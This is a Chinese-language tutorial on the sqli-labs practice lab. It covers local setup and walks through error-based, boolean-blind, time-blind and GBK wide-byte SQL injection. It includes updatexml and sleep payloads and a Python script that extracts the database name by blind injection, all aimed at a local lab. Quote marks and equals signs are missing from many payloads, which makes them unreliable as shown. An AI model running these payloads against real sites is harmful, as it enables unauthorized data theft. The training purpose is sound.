简介sqli-labs 是一款经典的开源 SQL 注入练习靶场内置从基础到进阶的十余种注入场景涵盖联合查询、报错注入、布尔盲注、时间盲注、堆叠注入等常见类型适合网络安全从业者、渗透测试工程师及信息安全专业学生用于系统学习 Web 渗透测试中的注入技术。压缩包共 565 个文件以 PHP 靶场代码和 PNG/JPG 截图为主另有少量 TXT 说明、CSS/HTML 页面及 SQL 等辅助文件整体仅 3.48MB轻量易部署可在本地或虚拟机中快速搭建。资源包按关卡组织目录每关清晰标注注入类型和难度便于对照学习漏洞成因、利用手法与防御思路。目前已有 67 人学习下载是入门和进阶 Web 安全的优质实践平台适合循序渐进的实战训练逐步掌握从漏洞发现到加固的全过程。1. sqli-labs 靶场是什么本地练 SQL 注入的第一站sqli-labs 靶场是很多人入门 SQL 注入的第一站也是不少老手绕回来补课的地方。它把注入类型拆成几十个独立关卡每一关背后就是一段可直接打开的 PHP 源码。打一关、读一段源码union 注入、报错注入、盲注、宽字节注入这些名词就能从“看过”变成“真会”。整个靶场跑在本地不需要连在线站点从第一关的闭合判断到堆叠注入每一步都可复现。对新手是手工注入的练功房对熟手是验证 payload、回归手感的测试床。这篇笔记从本地部署讲起覆盖闭合判断、三类必打关卡、高频踩坑最后给一个能直接跑的盲注验证脚本。2. 把 sqli-labs 跑起来三种环境选型与一套自检流程2.1 经典源码部署Apache PHP MySQL 的最小组合选 Apache 不是因为它比 Nginx 好而是老 PHP 代码在 mod_php 下的兼容问题最少。sqli-labs 源码大量依赖超全局变量和短标签Apache 默认配置几乎不用改就能跑Nginx 也能跑但还要额外调 PHP-FPM 和 pathinfo等于给入门阶段增加变量。第一次搭一切从简。sudo apt update sudo apt install -y apache2 php php-mysql mysql-server sudo systemctl enable --now apache2 mysql mysql --version php -v第一行更新软件索引第二行一次装齐 Web 服务、PHP 解析器、PHP 连 MySQL 的扩展和数据库本身。systemctl enable --now是把服务设为开机自启并立即启动。后面两条命令确认 MySQL 和 PHP 的版本。这里有个选型关键PHP 版本优先确认你拿到的源码是否兼容 PHP 7 以上如果不确定用 PHP 5.6 最稳后面避坑章会解释原因。然后把源码放到网页根目录。常见做法是先解压再看顶层目录叫什么再统一起个短名字。cd /var/www/html tar xf sqli-labs.tar.gz mv sqli-labs-* sqli-labs-master sudo chown -R www-data:www-data /var/www/html/sqli-labs-master解压后的目录名因发行版而异mv那行统一命名方便后续 URL 里写路径。chown改成www-data是因为 Apache 进程以这个用户运行某些关卡写临时文件或日志时不至于权限报错。如果你用的是 Nginx php-fpm这里的属主通常要换成 php-fpm 的运行用户。数据库初始化是新手最容易卡住的地方。源码根目录里一般有个建库脚本名字常见是 sql-lab.sql 之类。执行方式mysql -u root -p sql-lab.sql执行完建账号不要用 root 空密码跑靶场后面调试连接串时分开账号会省很多事。mysql -u root -p -e CREATE USER sqlilocalhost IDENTIFIED WITH mysql_native_password BY sqli; GRANT ALL ON sql-lab.* TO sqlilocalhost; FLUSH PRIVILEGES;这两条 SQL 的含义建一个只能在本地登录的账号 sqli密码也是 sqli并把 sql-lab 库的所有权限授权给它。如果找不到初始化 SQL 文件直接浏览器打开首页有些版本会提供网页版 setup 引导。接下来改 PHP 连接配置不同版本位置不一样通常在 sql-connections 目录下找 dbuser、dbpass 这类变量改成 sqli/sqli数据库名保持初始化脚本实际的库名。改完重启 Apache。sudo systemctl restart apache2这套流程下来浏览器访问http://127.0.0.1/sqli-labs-master/就能看到关卡列表。我一般会先用 curl 确认首页返回 200再进第一关验证数据库链路避免一上来就被页面样式干扰判断。提示不想装 Apache 时PHP 内置服务器也能临时跑php -S 127.0.0.1:8080 -t /var/www/html/sqli-labs-master。但它对路径和静态资源的兼容不如 Apache只建议排查问题时临时用。2.2 Docker 一键拉起镜像选择与数据持久化如果本机不想装一堆服务Docker 是更快的路也是 Mac 和 Windows 上跑靶场的主要方式。sqli-labs 镜像有好几个维护者在发PHP 版本、MySQL 版本差异很大选型标准就两条更新日期尽量新说明里明确写到兼容老 PHP。docker search sqli-labs这一步会列出不少镜像这里不写具体镜像名因为维护者经常变动。选 stars 最高、更新时间最近的那个即可。启动命令docker run -d -p 8080:80 --name sqli-labs 选中的镜像名 docker ps --format table {{.Names}}\t{{.Ports}}\t{{.Status}}-d是后台运行-p 8080:80把容器内的 80 映射到宿主机的 8080避开本机已有进程占用 80 的问题。--name起名后方便用docker logs sqli-labs看报错。浏览器打开http://127.0.0.1:8080/即进入靶场。数据持久化是很多人忽略的坑。容器内 MySQL 数据目录一删就全没了打过一半的关、改过的表全清空。要保留数据就用 volumedocker run -d -p 8080:80 --name sqli-labs \ -v sqli_mysql:/var/lib/mysql \ 选中的镜像名sqli_mysql是 docker volume 的名字可随便起数据会保存在宿主机上。如果你要改靶场源码也可以把宿主目录挂到容器的网页根目录这样本地编辑完容器里立刻生效调试宽字节注入这种需要改字符集的场景特别有用。最后一条建议镜像里如果首页正常但某一关直接报 mysql_* 函数不存在不要浪费时间进容器改代码直接换一个声明兼容 PHP 5.6 或 PHP 7.0 的镜像。这类兼容问题不是改配置能绕开的换环境比修代码快得多。2.3 装完自检四步页面、数据库、报错显示与源码路径部署完别急着打关先按四步确认环境真的可用否则后面所有判断都会被环境问题带偏。第一步看首页通没通curl -I http://127.0.0.1/sqli-labs-master/出现 200 说明 Web 服务正常。403 大多是没有索引文件或目录权限不对回头检查chown那一步。第二步验证第一关能读库curl -s http://127.0.0.1/sqli-labs-master/Less-1/?id1页面里出现用户名相关字段说明 PHP 到 MySQL 的链路是通的。如果这一关报数据库连接错误直接进源码连接配置文件核对账号密码。第三步确认 PHP 报错显示是开的。sqli-labs 的练习价值一半在报错信息里display_errors 被关掉闭合判断就全靠猜。用一个临时 PHP 文件验证数据库连接最直接?php $c new mysqli(127.0.0.1, sqli, sqli, sql-lab); echo $c-server_info;能打印出 MySQL 版本说明账号密码和库名都对。如果报认证错误回到 2.1 检查那条 CREATE USER 是否用了 mysql_native_password。第四步确认能读关卡源码。浏览器访问 index.php 只会看到执行结果看不到源码。我习惯用编辑器直接打开本地文件看每一关的 SQL 是怎么拼的。这一步对理解闭合方式至关重要。部署自检可以用下面这张表收束检查项命令或方式预期结果Web 服务curl -I 靶场根路径HTTP/1.1 200数据库链路curl 第一关并带 id1页面含用户字段名数据库账号临时 PHP 文件打印 server_info输出版本号源码可读编辑 Less-1/index.php能看到 SQL 拼接逻辑3. 从 Less-1 到 Less-2闭合方式判断是手工注入的基本功3.1 Less-1 单引号闭合报错信息会告诉你 SQL 长什么样打开 Less-1先传id1页面出现账号名和密码说明查询成功。再传id1页面会报 SQL 语法错误报错信息会把整个 SQL 拼接结果吐出来。这一步对新手特别重要报错是最好的教程它直接告诉你输入被插到了 SQL 的哪个位置。常见做法是按顺序打一组 payload?id1 ?id1 ?id1-- ?id1 and 11-- ?id1 and 12--前两条做探测后三条做验证。验证逻辑很简单and 11时页面正常and 12时页面空白或报错说明猜的闭合方式正确注入条件确实进入了 SQL 并被数据库执行。报错信息里通常能看到WHERE id1 LIMIT 0,1这样的片段那个单引号就是关键。所谓闭合就是让输入先逃出字符串再用注释把 SQL 尾巴上的引号和 LIMIT 吃掉。--在 URL 里表示--加空格MySQL 的--注释要求后面必须有一个空白字符直接写--会被当成 SQL 语法的一部分。这个流程跑通后Less-1 的要点就只剩一个单引号闭合 注释掉尾部。后面遇到所有单引号闭合的关卡套路完全一样只是查询列数和回显位置不同。3.2 Less-2 数字型注入不用闭合引号判断更简单Less-2 和 Less-1 的区别传一个id1就看得出。同样报错但报错里的 SQL 是WHERE id1 LIMIT 0,1id 两边没有引号。这说明变量是数字型直接拼进了 SQL没有字符串包裹。这时不需要闭合任何东西也不需要注释直接对比?id1 and 11 ?id1 and 12前者正常、后者异常注入成立。数字型注入的好处是 payload 干净没有转义和闭合的负担坏处是特征明显and 11这种模式在日志里一眼就能被识别。Less-1 和 Less-2 连起来看其实在讲同一件事找到参数在 SQL 里的上下文。闭合方式不是背出来的是从报错信息加真假条件对比里推出来的。我见过不少新手在 Less-1 明明已经看到报错却不敢确定是单引号闭合非要去看别人写的通关 payload。源码就在编辑器里报错也写在页面上把它们对起来比记任何通关公式都重要。3.3 写一个最小探测脚本用响应差异替代肉眼盯页面手工点页面能练手感但打多了会累页面差异靠肉眼也容易看漏。最小自动化只需要一个循环和两个判断标准。下面这个脚本针对 Less-1把探测 payload 全部跑一遍输出页面长度和关键内容是否出现import requests url http://127.0.0.1/sqli-labs-master/Less-1/ payloads [ 1, 1, 1--, 1 and 11--, 1 and 12--, ] marker Your Login name for payload in payloads: try: resp requests.get(url, params{id: payload}, timeout5) except requests.RequestException as e: print(f请求失败: {payload} - {e}) continue hit marker in resp.text print(fpayload{payload:22} length{len(resp.text):6} marker{hit})payloads 列表把探测和验证分两个阶段放先看1和1的差异再看注释和真假条件的差异。marker 设成正常页面里固定出现的字符串比如用户名区域的Your Login name。比较 marker 而不是只看长度是因为有些情况下页面字节数几乎一样但关键内容已经没了。参数说明timeout5防止某条 payload 把数据库拖慢导致请求挂死用params传参数会让 requests 自动做 URL 编码不用手动处理单引号和加号。如果换到 Less-2把 payload 里的单引号去掉即可。这个脚本本身不注入任何东西只把手工判断变成可复现的检查项后续打任意关卡都可以先跑一遍看基线。4. 三类必打关卡报错注入、布尔盲注与宽字节注入4.1 Less-5 报错注入updatexml 怎么把数据带出来从 Less-5 开始查询结果不再显示在页面上Less-1 到 Less-4 那种 union 回显套路全部落空。这时最可靠的手法之一是报错注入让 MySQL 把要的数据“骂”出来。常用函数有两个updatexml 和 extractvalue。以 updatexml 为例取库名和表名的 payload 长这样1 AND updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 0x7e), 1)--参数说明updatexml 第一个参数是 XML 文档对象第三个是替换内容第二个是 XPath 路径。当第二个参数不是合法 XPath 时MySQL 会把该参数的内容拼到错误信息里回显。concat(0x7e, ..., 0x7e)用两个波浪号把查询结果包起来方便在报错文本里定位边界。group_concat把多行结果合成一行避免报错只显示第一行。边界一报错回显长度有限。updatexml 和 extractvalue 的报错输出在 MySQL 5.x 和 8.x 下都只有 32 个字符左右数据一长就截断。要取完整内容把结果用 substr 分段取1 AND updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 1, 31), 0x7e), 1)--这里 substr 的第三个参数写成 31是给两边波浪号留出位置避免截断后看不到结尾分界。边界二如果页面把 SQL 错误屏蔽报错注入完全不显示那就只能换盲注。判断标准很简单传一个明显语法错误的 payload看页面有没有把 SQL 片段吐出来。没有输出就别硬刚报错注入直接去 Less-8 那套逻辑。注入类型页面表现推荐判断方式报错注入报错信息携带查询数据updatexml/extractvalue substr布尔盲注页面有无内容无报错ascii/substr 条件对比时间盲注页面无任何差异if sleep先打基线4.2 Less-8 与 Less-9 盲注布尔盲注二分法与时间盲注基线盲注是页面既不显示查询结果、也不显示 SQL 错误的场景。Less-8 是布尔盲注页面只区分“有内容”和“没内容”核心判断是用条件让两种状态区分开。1 and ascii(substr(database(),1,1))100-- 1 and ascii(substr(database(),1,1))115--substr 取数据库名第一个字符ascii 转成数值再和 ASCII 码比较。第一条如果页面正常说明第一个字符的 ASCII 大于 100范围缩小第二条直接命中字母 s 的 115。逐字符往下推数据库名就出来了。实际使用中不要逐个字符爆破用二分法把 0 到 127 的范围折半比较最快 7 次请求确定一个字符。Less-9 是时间盲注比布尔盲注更极端条件真假页面都一个样只能靠响应时间判断。1 and if(ascii(substr(database(),1,1))115, sleep(3), 0)--if 的第一个参数是条件第二个是条件成立时执行 sleep(3)第三个是不成立执行 0。如果这条请求等了约 3 秒说明当前字符确实是 s。务必先打两条基线1 and if(11, sleep(2), 0)-- 1 and if(12, sleep(2), 0)--第一条固定延迟约 2 秒第二条应该毫秒级返回。如果两条都慢说明时间盲注链路本身有问题比如网络抖动、代理缓冲或 PHP 层统一耗时先解决环境再逐位判断否则拿到的每一帧延迟都不可信。这是我打 Less-9 时最大的教训没有基线就去猜等于拿噪声当信号。注意时间盲注的每一步判断都必须有基线对照否则网络本身的抖动会被当成条件成立。4.3 Less-32 宽字节注入GBK 字符集下反斜杠被“吃”的原理Less-32 开始源码会在参数进入 SQL 前加反斜杠转义单引号常见做法是 addslashes 或 mysql_real_escape_string。按正常思路id1会被改成id1\单引号变成字符串内容闭合失败。宽字节注入就是针对这种转义的绕过前提是数据库连接字符集为 GBK 这类多字节编码。请求写成id%df%27%27 是单引号%df 是 GBK 编码里一个宽字节的高位。服务端把%df%27解码后又对单引号转义在 %27 前插入反斜杠 %5c内存里变成%df%5c%27。关键来了%df%5c 在 GBK 字符集下会被解析成一个完整的汉字字符反斜杠不再是转义符后面的 %27 单引号就逃了出来。这条 payload 在 UTF-8 环境下无效因为 %df%5c 在 UTF-8 里不构成合法字符MySQL 会按两个字符处理反斜杠依然转义。很多人卡在 Less-32 打不出东西往往不是 payload 写错而是靶场数据库连接字符集就是 UTF-8宽字节根本没被触发。验证方法在源码里搜连接字符集设置改成 gbk 再看 %df%27 是否让单引号逃逸。宽字节注入没有万能 payload字符集不对时换再多 %df 系列变体都一样。5. 避坑指南sqli-labs 部署与练习的五个高频翻车点5.1 报 mysql_* 函数不存在PHP 7 移除老扩展的连锁反应现象首页能开点进某一关直接报 Call to undefined function mysql_connect()。原因早期 sqli-labs 大量使用 PHP 5 时代的 mysql_* 系列函数这套扩展在 PHP 7 里被移除只剩下面向对象的 mysqli。系统默认 PHP 版本越新报错概率越高。解决能不动代码就不动代码。要么用 PHP 5.6 或 PHP 7.0 的容器要么找明确说明兼容 PHP 7 的修复版源码。把所有 mysql_* 改成 mysqli_* 不是不行但关卡几十个改漏一个就多一个坑投入产出比太低。5.2 数据库认证失败MySQL 8 默认认证插件不兼容老 PHP现象页面报 The server requested authentication method unknown to the client 或 Access denied但账号密码在命令行里明明能登。原因MySQL 8 默认用 caching_sha2_password老 PHP 的客户端不支持这个插件。解决建账号时显式指定 mysql_native_password。CREATE USER sqlilocalhost IDENTIFIED WITH mysql_native_password BY sqli; GRANT ALL ON sql-lab.* TO sqlilocalhost;改完重启 PHP 服务再试。如果是 Docker 镜像里自带的 MySQL进容器执行同样两条 SQL问题基本消失。提示Docker 自带的 MySQL 同样适用这条 SQL进容器用 mysql 客户端执行即可。5.3 -- 注释失效空格编码在不同接收端的差别现象payload 看起来没问题但 and 11 和 and 12 返回结果完全一样注入条件像没生效。原因--在 MySQL 里做注释时后面必须跟一个空白字符。URL 里直接写--这个加号在某些接收端没有被解码成空格注释就没生效后面的 LIMIT 0,1 又把查询拽回正常分支。解决把结尾改成--%20或%23。%23 是 #MySQL 同样把它当行注释且不需要尾随空格。写脚本时注意 requests 的 params 会自动做 URL 编码payload 里写原始符号反而更稳。5.4 宽字节注入无效先确认数据库连接字符集是 GBK现象按常见的宽字节 payload 打 Less-32id%df%27毫无反应页面照样报错或空白。原因宽字节绕过的前提是解析字符时把 %df 和反斜杠 %5c 合并成一个宽字符。数据库连接如果是 utf8%df%5c 不会合体反斜杠转义照常生效。解决在数据库连接配置里把字符集改成 gbk或确认这份源码在连接阶段执行了 SET NAMES gbk再回来打宽字节。先验证环境再怀疑 payload能省掉大半排查时间。5.5 时间盲注固定延迟没有先打基线就逐位判断现象不管条件怎么变每条请求都稳定延时 2 到 3 秒数据库名推了半天推不出来。原因两种常见情况。一是 if 条件写反sleep 被放到了恒真分支二是请求链路本身有固定耗时比如代理缓冲、DNS 解析或应用层统一 sleep把条件判断的差异完全淹没了。解决固定打两条基线if(11, sleep(2), 0)和if(12, sleep(2), 0)确认两条有明显时差再开始逐位判断。顺带用curl -w %{time_total}看单次请求总耗时排除网络干扰。时间盲注最忌讳上来就逐字符猜连基线都不打最后只能得到一堆无法解释的延迟数据。6. 把靶场当测试床写一个可复跑的自动化布尔盲注脚本打完前面的关卡最后一个建议不要停留在手工过关把 sqli-labs 当测试床验证一个你能反复用的自动化逻辑。下面这段是针对 Less-8 的最小布尔盲注脚本价值不在跑得快而是每一帧判断都能肉眼复核。import requests url http://127.0.0.1/sqli-labs-master/Less-8/ marker You are in charset abcdefghijklmnopqrstuvwxyz0123456789_ def query(cond: str) - bool: payload f1 and {cond}-- try: resp requests.get(url, params{id: payload}, timeout5) except requests.RequestException: return False return marker in resp.text name for pos in range(1, 9): for ch in charset: cond fascii(substr(database(),{pos},1)){ord(ch)} if query(cond): name ch print(fpos{pos} char{ch}) break print(database:, name)query 函数把条件表达式拼进布尔盲注 payload页面出现正常内容标记返回 True否则返回 False。外层循环控制字符位置内层循环枚举小写字母、数字和下划线命中一位就记录一位。脚本默认只取库名的前 8 位实际用的时候把range(1, 9)改大按目标情况调整 charset。验证方法不能省脚本跑出来的库名要和命令行里show databases的结果对一下。如果对不上先怀疑 marker 选错再检查 Less-8 的真实闭合方式是不是单引号。把同样的逻辑改成时间盲注版本时query 函数里判断从 marker 变成响应耗时是否超过阈值其他结构不用动。我现在的习惯是拿到一个授权测试目标前先在靶场里把闭合方式、报错回显、盲注基线各打一遍把整套手感固定下来再动手。sqli-labs 的关卡顺序本身就是一条从手工到自动化的学习路径照着走完至少不会再出现拿到一个注入点却不知道从哪下手的情况。希望帮到你。本文还有配套的精品资源点击获取